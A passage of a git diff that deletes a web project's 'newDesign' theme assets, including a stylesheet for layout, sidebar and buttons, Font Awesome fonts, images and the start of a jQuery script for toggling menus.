083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-asc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-desc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-reply-all:before{content:"\f122"}.fa-mail-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"} \ No newline at end of file diff --git a/newDesign/assets/css/main.css b/newDesign/assets/css/main.css deleted file mode 100644 index b24578542..000000000 --- a/newDesign/assets/css/main.css +++ /dev/null @@ -1,760 +0,0 @@ -/* ========================================================================== - Base styles - ========================================================================== */ -body { - color: #5D5F63; - background: #212121; - font-family: 'Open Sans', sans-serif; - padding: 0px; - margin: 0px; - text-rendering: optimizeLegibility; - -webkit-font-smoothing: antialiased; -} -a:link, -a:visited { - text-decoration: none; - outline: none; - color: #e84c3d; -} -a:hover, -a:active { - outline: none; - text-decoration: none; - color: #16a086; -} -h1, -h2, -h3, -h4, -h5, -h6 { - font-family: 'Source Sans Pro', Arial, sans-serif; -} -p { - font-size: 14px; -} -hr { - margin-top: 10px; - margin-bottom: 10px; -} -img { - max-width: 100%; -} -::selection { - background: #fff7dd; -} -::-moz-selection { - background: #fff7dd; -} -/* ========================================================================== - Layout - ========================================================================== */ -#container { - width: 100%; - height: 100%; - z-index: 0; - -webkit-transition: all 0.3s ease-in-out; - -moz-transition: all 0.3s ease-in-out; - -o-transition: all 0.3s ease-in-out; - -ms-transition: all 0.3s ease-in-out; - transition: all 0.3s ease-in-out; -} -/* Header */ -#header { - z-index: 200; - background: #fff; - min-height: 80px; - -webkit-transition: all 0.3s ease-in-out; - -moz-transition: all 0.3s ease-in-out; - -o-transition: all 0.3s ease-in-out; - -ms-transition: all 0.3s ease-in-out; - transition: all 0.3s ease-in-out; - margin-right: 0; -} -#header .brand { - float: left; - width: 240px; - height: 80px; - padding: 0; - position: relative; - background: url('../img/logoBG.jpg') no-repeat 0px 0px; -} -#header .logo { - color: #fff; - font-size: 1.7em; - text-transform: uppercase; - padding: 23px 0 0 75px; - display: inline-block; -} -#header .logo span { - font-weight: 700; -} -#header .toggle-navigation button:hover, -#header .toggle-navigation button:active, -#header button#toggle-mail:hover, -#header button#toggle-mail:active { - background: #e84c3d; -} -#header .toggle-navigation button:hover i, -#header button#toggle-mail:hover i { - color: #F6F6F6; -} -#header .toggle-navigation.toggle-left { - margin-top: 5px; - margin-left: 20px; - display: inline-block; -} -#header .btn-default { - padding: 3px 9px; - background: #F6F6F6; - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - -ms-border-radius: 50%; - -o-border-radius: 50%; - border-radius: 50%; - width: 35px; - height: 35px; -} -#header .btn-default .fa-bars, -#header .btn-default .fa-comment { - cursor: pointer; - color: #797979; -} -#header .btn-default .fa-info, -#header .btn-default .fa-envelope, -#header .btn-default .fa-user { - color: #797979; -} -#header .user-nav button:hover, -#header .user-nav button:active { - background: #e84c3d; -} -#header .user-nav button:hover i { - color: #F6F6F6; -} -#header .lessonTitle { - display: inline-block; - margin:0 0 0 20px; -} -#header .pull-right { - float: right !important; - margin-top:25px; - margin-right:20px; -} -/* Sidebar */ -.sidebar { - width: 240px; - height: 100%; - background: #222; - position: absolute; - -webkit-transition: all 0.3s ease-in-out; - -moz-transition: all 0.3s ease-in-out; - -o-transition: all 0.3s ease-in-out; - -ms-transition: all 0.3s ease-in-out; - transition: all 0.3s ease-in-out; - z-index: 100; -} -.sidebar-toggle { - margin-left: -240px; -} -#leftside-navigation ul, -#leftside-navigation ul ul { - margin: -2px 0 0; - padding: 0; -} -#leftside-navigation ul li { - list-style-type: none; - border-bottom: 1px solid rgba(255, 255, 255, 0.05); -} -#leftside-navigation ul li a { - color: #aeb2b7; - text-decoration: none; - display: block; - padding: 18px 0 18px 25px; - font-size: 12px; - outline: none; - -webkit-transition: all 200ms ease-in; - -moz-transition: all 200ms ease-in; - -o-transition: all 200ms ease-in; - -ms-transition: all 200ms ease-in; - transition: all 200ms ease-in; -} -#leftside-navigation ul li a span { - display: inline-block; -} -#leftside-navigation ul ul li { - background: #333; - margin-bottom: 0; - margin-left: 0; - margin-right: 0; - border-bottom: none; -} -#leftside-navigation ul ul li a { - font-size: 12px; - padding-top: 13px; - padding-bottom: 13px; - color: #aeb2b7; -} -#leftside-navigation ul li a i { - width: 20px; -} -#leftside-navigation ul li a i.fa-angle-right, -#leftside-navigation ul li a i.fa-angle-left { - padding-top: 3px; -} -#leftside-navigation ul ul { - display: none; -} -#leftside-navigation li.active ul { - display: block; -} -#leftside-navigation ul li a:hover, -#leftside-navigation ul li.active > a { - color: #e84c3d; -} -.btn-primary + .dropdown-menu > li > a:hover, -.btn-primary + .dropdown-menu > li > a:active { - background-color: #16a086; -} - -/* ========================================================================== - Main Content - ========================================================================== */ -.main-content-wrapper { - margin-left: 240px; - margin-right: 0; - -webkit-transition: all 0.3s ease-in-out; - -moz-transition: all 0.3s ease-in-out; - -o-transition: all 0.3s ease-in-out; - -ms-transition: all 0.3s ease-in-out; - transition: all 0.3s ease-in-out; - background: #f1f2f7; - min-height: 1000px; -} -.main-content-wrapper #main-content { - background: url('../img/webBg.png') no-repeat top left; - border-top: solid thin #e7e8ec; - display: inline-block; - padding: 15px 15px 0 15px; - width: 100%; -} -.main-content-wrapper #main-content .h1 { - margin: 0; - padding: 0px 10px 40px 10px; - float: left; - line-height: 10px; - font-weight: 300; - font-size: 42px; - font-family: 'Source Sans Pro', Arial, sans-serif; -} -.main-content-toggle-left { - margin-left: 0; -} -.main-content-toggle-right { - margin-right: 240px; -} -/* ========================================================================== - Buttons - ========================================================================== */ -.btn { - border: none; - font-size: 15px; - font-weight: normal; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - -ms-border-radius: 3px; - -o-border-radius: 3px; - border-radius: 3px; - padding: 8px 14px; - margin-bottom: 5px; - -webkit-font-smoothing: subpixel-antialiased; - -webkit-transition: border 0.25s linear, color 0.25s linear, background-color 0.25s linear; - transition: border 0.25s linear, color 0.25s linear, background-color 0.25s linear; -} -.btn:hover, -.btn:focus { - outline: none; -} -.btn:active, -.btn.active { - outline: none; - -webkit-box-shadow: none; - box-shadow: none; - outline: none!important; -} -.btn.disabled, -.btn[disabled], -.btn fieldset[disabled] .btn { - background-color: #bdc3c7; - color: rgba(255, 255, 255, 0.75); - opacity: 0.7; - filter: alpha(opacity=70); -} -/* Default Buttons*/ -.btn-default, -a.btn-default:link, -a.btn-default:visited { - color: #ffffff; - background-color: #bdc3c7; - outline: none!important; -} -a.btn-default:hover, -a.btn-default:active { - color: #ffffff; - background-color: #cbd0d3; - border-color: #cbd0d3; -} -.btn-default:hover, -.btn-default:focus, -.btn-default:active, -.btn-default.active, -.open .dropdown-toggle.btn-default { - color: #ffffff; - background-color: #cbd0d3; - border-color: #cbd0d3; -} -.btn-default:active, -.btn-default.active, -.open .dropdown-toggle.btn-default { - background: #bdc3c7; - border-color: #bdc3c7; -} -.btn-default.disabled, -.btn-default[disabled], -fieldset[disabled] .btn-default, -.btn-default.disabled:hover, -.btn-default[disabled]:hover, -fieldset[disabled] .btn-default:hover, -.btn-default.disabled:focus, -.btn-default[disabled]:focus, -fieldset[disabled] .btn-default:focus, -.btn-default.disabled:active, -.btn-default[disabled]:active, -fieldset[disabled] .btn-default:active, -.btn-default.disabled.active, -.btn-default[disabled].active, -fieldset[disabled] .btn-default.active { - background-color: #bdc3c7; - border-color: #bdc3c7; -} -.btn-primary, -a.btn-primary:link, -a.btn-primary:visited { - color: #fff; - background-color: #e84c3d; -} -a.btn-primary:hover, -a.btn-primary:active { - color: #ffffff; - background-color: #C62F28; - border-color: #C62F28; -} -.btn-primary:hover, -.btn-primary:focus, -.btn-primary:active, -.btn-primary.active, -.open .dropdown-toggle.btn-primary { - color: #ffffff; - background-color: #C62F28; - border-color: #C62F28; -} -.btn-primary:active, -.btn-primary.active, -.open .dropdown-toggle.btn-primary { - background: #e84c3d; - border-color: #e84c3d; -} -.btn-primary.disabled, -.btn-primary[disabled], -fieldset[disabled] .btn-primary, -.btn-primary.disabled:hover, -.btn-primary[disabled]:hover, -fieldset[disabled] .btn-primary:hover, -.btn-primary.disabled:focus, -.btn-primary[disabled]:focus, -fieldset[disabled] .btn-primary:focus, -.btn-primary.disabled:active, -.btn-primary[disabled]:active, -fieldset[disabled] .btn-primary:active, -.btn-primary.disabled.active, -.btn-primary[disabled].active, -fieldset[disabled] .btn-primary.active { - background-color: #e84c3d; - border-color: #e84c3d; -} -.btn-info { - color: #ffffff; - background-color: #3598db; -} -.btn-info, -a.btn-info:link, -a.btn-info:visited { - color: #ffffff; - background-color: #3598db; -} -a.btn-info:hover, -a.btn-info:active { - color: #ffffff; - background-color: #4ba3df; -} -.btn-info:hover, -.btn-info:focus, -.btn-info:active, -.btn-info.active, -.open .dropdown-toggle.btn-info { - color: #ffffff; - background-color: #4ba3df; - border-color: #4ba3df; -} -.btn-info:active, -.btn-info.active, -.open .dropdown-toggle.btn-info { - background: #3598db; - border-color: #3598db; -} -.btn-info.disabled, -.btn-info[disabled], -fieldset[disabled] .btn-info, -.btn-info.disabled:hover, -.btn-info[disabled]:hover, -fieldset[disabled] .btn-info:hover, -.btn-info.disabled:focus, -.btn-info[disabled]:focus, -fieldset[disabled] .btn-info:focus, -.btn-info.disabled:active, -.btn-info[disabled]:active, -fieldset[disabled] .btn-info:active, -.btn-info.disabled.active, -.btn-info[disabled].active, -fieldset[disabled] .btn-info.active { - background-color: #3598db; - border-color: #3598db; -} -.btn-danger { - color: #ffffff; - background-color: #e84c3d; -} -.btn-danger:hover, -.btn-danger:focus, -.btn-danger:active, -.btn-danger.active, -.open .dropdown-toggle.btn-danger { - color: #ffffff; - background-color: #eb6154; - border-color: #eb6154; -} -.btn-danger:active, -.btn-danger.active, -.open .dropdown-toggle.btn-danger { - background: #eb6154; - border-color: #eb6154; -} -.btn-danger.disabled, -.btn-danger[disabled], -fieldset[disabled] .btn-danger, -.btn-danger.disabled:hover, -.btn-danger[disabled]:hover, -fieldset[disabled] .btn-danger:hover, -.btn-danger.disabled:focus, -.btn-danger[disabled]:focus, -fieldset[disabled] .btn-danger:focus, -.btn-danger.disabled:active, -.btn-danger[disabled]:active, -fieldset[disabled] .btn-danger:active, -.btn-danger.disabled.active, -.btn-danger[disabled].active, -fieldset[disabled] .btn-danger.active { - background-color: #e84c3d; - border-color: #e84c3d; -} -.btn-success { - color: #ffffff; - background-color: #2dcc70; -} -.btn-success:hover, -.btn-success:focus, -.btn-success:active, -.btn-success.active, -.open .dropdown-toggle.btn-success { - color: #ffffff; - background-color: #3ed47d; - border-color: #3ed47d; -} -.btn-success:active, -.btn-success.active, -.open .dropdown-toggle.btn-success { - background: #2dcc70; - border-color: #2dcc70; -} -.btn-success.disabled, -.btn-success[disabled], -fieldset[disabled] .btn-success, -.btn-success.disabled:hover, -.btn-success[disabled]:hover, -fieldset[disabled] .btn-success:hover, -.btn-success.disabled:focus, -.btn-success[disabled]:focus, -fieldset[disabled] .btn-success:focus, -.btn-success.disabled:active, -.btn-success[disabled]:active, -fieldset[disabled] .btn-success:active, -.btn-success.disabled.active, -.btn-success[disabled].active, -fieldset[disabled] .btn-success.active { - background-color: #2dcc70; - border-color: #2dcc70; -} -.btn-warning { - color: #ffffff; - background-color: #f1c40f; -} -.btn-warning:hover, -.btn-warning:focus, -.btn-warning:active, -.btn-warning.active, -.open .dropdown-toggle.btn-warning { - color: #ffffff; - background-color: #f1c40f; - border-color: #f1c40f; -} -.btn-warning:active, -.btn-warning.active, -.open .dropdown-toggle.btn-warning { - background: #f2ca27; - border-color: #f2ca27; -} -.btn-warning.disabled, -.btn-warning[disabled], -fieldset[disabled] .btn-warning, -.btn-warning.disabled:hover, -.btn-warning[disabled]:hover, -fieldset[disabled] .btn-warning:hover, -.btn-warning.disabled:focus, -.btn-warning[disabled]:focus, -fieldset[disabled] .btn-warning:focus, -.btn-warning.disabled:active, -.btn-warning[disabled]:active, -fieldset[disabled] .btn-warning:active, -.btn-warning.disabled.active, -.btn-warning[disabled].active, -fieldset[disabled] .btn-warning.active { - background-color: #f1c40f; - border-color: #f1c40f; -} -/* Button Sizes */ -.btn-lg { - padding: 10px 16px; - font-size: 18px; - line-height: 1.33; -} -.btn-sm { - padding: 5px 10px; - font-size: 12px; - line-height: 1.5; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - -ms-border-radius: 3px; - -o-border-radius: 3px; - border-radius: 3px; -} -.btn-xs { - padding: 1px 5px; - font-size: 12px; - line-height: 1.5; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - -ms-border-radius: 3px; - -o-border-radius: 3px; - border-radius: 3px; -} -/* ========================================================================== - Breadcrumbs - ========================================================================== */ -.breadcrumb { - background: none; -} -.breadcrumb > li { - font-size: 12px; -} -/* ========================================================================== - Icons - ========================================================================== */ -.fa-hover { - margin: 5px 0; -} -.fa-hover i { - font-size: 14px; - margin-right: 5px; - width: 20px; -} -/* ========================================================================== - Panels - ========================================================================== */ -.panel { - border: none; - box-shadow: none; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - -ms-border-radius: 3px; - -o-border-radius: 3px; - border-radius: 3px; -} -.panel > .panel-heading { - font-size: 13px; - font-weight: 400; - text-transform: uppercase; - padding: 15px; -} -.panel .actions { - position: absolute; - right: 30px; - top: 18px; -} -.panel .actions i { - font-size: 1em; - margin: 0 3px; -} -.panel .actions i:hover { - cursor: pointer; -} -.panel > .panel-footer { - font-size: 13px; - font-weight: 400; - text-transform: uppercase; - padding: 15px; -} -.panel-default > .panel-heading { - border-color: #eff2f7; - background: #fafafa; - color: #767676; -} -.panel-default .actions i { - font-size: 1em; - color: #bdc3c7; - margin: 0 3px; -} -.panel-default .actions i:hover { - cursor: pointer; - color: #767676; -} -.panel-default > .panel-footer { - border-color: #eff2f7; - background: #fafafa; - color: #767676; -} -.panel-primary > .panel-heading { - color: #fff; - background-color: #e84c3d; - border-color: #e84c3d; -} -.panel-primary { - border-color: #e84c3d; -} -.panel-primary > .panel-heading a, -.panel-primary > .panel-heading a:hover { - color: #fff; -} -.panel-solid-default > .panel-heading, -.panel-solid-default > .panel-body, -.panel-solid-default > .panel-footer { - background: #bdc3c7; - color: #fff; - border: none; -} -.panel-solid-primary > .panel-heading, -.panel-solid-primary > .panel-body, -.panel-solid-primary > .panel-footer { - background: #e84c3d; - color: #fff; - border: none; -} -.panel-solid-success > .panel-heading, -.panel-solid-success > .panel-body, -.panel-solid-success > .panel-footer { - background: #2dcc70; - color: #fff; - border: none; -} -.panel-solid-warning > .panel-heading, -.panel-solid-warning > .panel-body, -.panel-solid-warning > .panel-footer { - background: #f1c40f; - color: #fff; - border: none; -} -.panel-solid-info > .panel-heading, -.panel-solid-info > .panel-body, -.panel-solid-info > .panel-footer { - background: #3598db; - color: #fff; - border: none; -} -.panel-solid-danger > .panel-heading, -.panel-solid-danger > .panel-body, -.panel-solid-danger > .panel-footer { - background: #e84c3d; - color: #fff; - border: none; -} -/* ========================================================================== - Modal - ========================================================================== */ -.modal-footer .btn + .btn { - margin-bottom: 5px; -} -.modal .modal-body.modal-scroll { - max-height: 350px; - overflow-y: auto; -} -/* ========================================================================== - Media Queries - ========================================================================== */ -@media only screen and (max-width: 767px) and (min-width: 480px) { - /* Main Content */ - #main-content .h1 { - font-size: 35px; - } -} -@media only screen and (max-width: 660px) { - #header { - height: 160px; - } - #header .brand { - width: 100%; - } - #header .user-nav ul { - padding-left: 0; - } - #header .toggle-navigation.toggle-left { - float: left; - } - .sidebar { - margin-left: -240px; - } - .sidebar-toggle { - margin-left: 0; - width: 100%; - } - .main-content-wrapper { - margin-left: 0; - } - .main-content-toggle-left { - margin-left: 660px; - } - .sidebarRight { - top: 160px; - width: 100%; - } - .user-nav ul li { - font-size: 12px; - } -} -@media only screen and (max-width: 479px) { - /* Main Content */ - #main-content .h1 { - font-size: 22px; - } - #header .dropdown.messages { - display: none; - } -} diff --git a/newDesign/assets/fonts/FontAwesome.otf b/newDesign/assets/fonts/FontAwesome.otf deleted file mode 100644 index 8b0f54e47..000000000 Binary files a/newDesign/assets/fonts/FontAwesome.otf and /dev/null differ diff --git a/newDesign/assets/fonts/fontawesome-webfont.eot b/newDesign/assets/fonts/fontawesome-webfont.eot deleted file mode 100644 index 7c79c6a6b..000000000 Binary files a/newDesign/assets/fonts/fontawesome-webfont.eot and /dev/null differ diff --git a/newDesign/assets/fonts/fontawesome-webfont.svg b/newDesign/assets/fonts/fontawesome-webfont.svg deleted file mode 100644 index 45fdf3383..000000000 --- a/newDesign/assets/fonts/fontawesome-webfont.svg +++ /dev/null @@ -1,414 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/newDesign/assets/fonts/fontawesome-webfont.ttf b/newDesign/assets/fonts/fontawesome-webfont.ttf deleted file mode 100644 index e89738de5..000000000 Binary files a/newDesign/assets/fonts/fontawesome-webfont.ttf and /dev/null differ diff --git a/newDesign/assets/fonts/fontawesome-webfont.woff b/newDesign/assets/fonts/fontawesome-webfont.woff deleted file mode 100644 index 8c1748aab..000000000 Binary files a/newDesign/assets/fonts/fontawesome-webfont.woff and /dev/null differ diff --git a/newDesign/assets/img/logo.png b/newDesign/assets/img/logo.png deleted file mode 100644 index b71450f80..000000000 Binary files a/newDesign/assets/img/logo.png and /dev/null differ diff --git a/newDesign/assets/img/logoBG.jpg b/newDesign/assets/img/logoBG.jpg deleted file mode 100644 index cdc20d82e..000000000 Binary files a/newDesign/assets/img/logoBG.jpg and /dev/null differ diff --git a/newDesign/assets/img/webBg.png b/newDesign/assets/img/webBg.png deleted file mode 100644 index be3fbad98..000000000 Binary files a/newDesign/assets/img/webBg.png and /dev/null differ diff --git a/newDesign/assets/js/application.js b/newDesign/assets/js/application.js deleted file mode 100644 index 2cfda1cd9..000000000 --- a/newDesign/assets/js/application.js +++ /dev/null @@ -1,219 +0,0 @@ -var app = function() { - - var init = function() { - - tooltips(); - toggleMenuLeft(); - toggleMenuRight(); - menu(); - togglePanel(); - closePanel(); - }; - - var tooltips = function() { - $('#toggle-left').tooltip(); - }; - - var togglePanel = function() { - $('.actions > .fa-chevron-down').click(function() { - $(this).parent().parent().next().slideToggle('fast'); - $(this).toggleClass('fa-chevron-down fa-chevron-up'); - }); - - }; - - var toggleMenuLeft = function() { - $('#toggle-left').bind('click', function(e) { - if (!$('.sidebarRight').hasClass('.sidebar-toggle-right')) { - $('.sidebarRight').removeClass('sidebar-toggle-right'); - $('.main-content-wrapper').removeClass('main-content-toggle-right'); - } - $('.sidebar').toggleClass('sidebar-toggle'); - $('.main-content-wrapper').toggleClass('main-content-toggle-left'); - e.stopPropagation(); - }); - }; - - var toggleMenuRight = function() { - $('#toggle-right').bind('click', function(e) { - - if (!$('.sidebar').hasClass('.sidebar-toggle')) { - $('.sidebar').addClass('sidebar-toggle'); 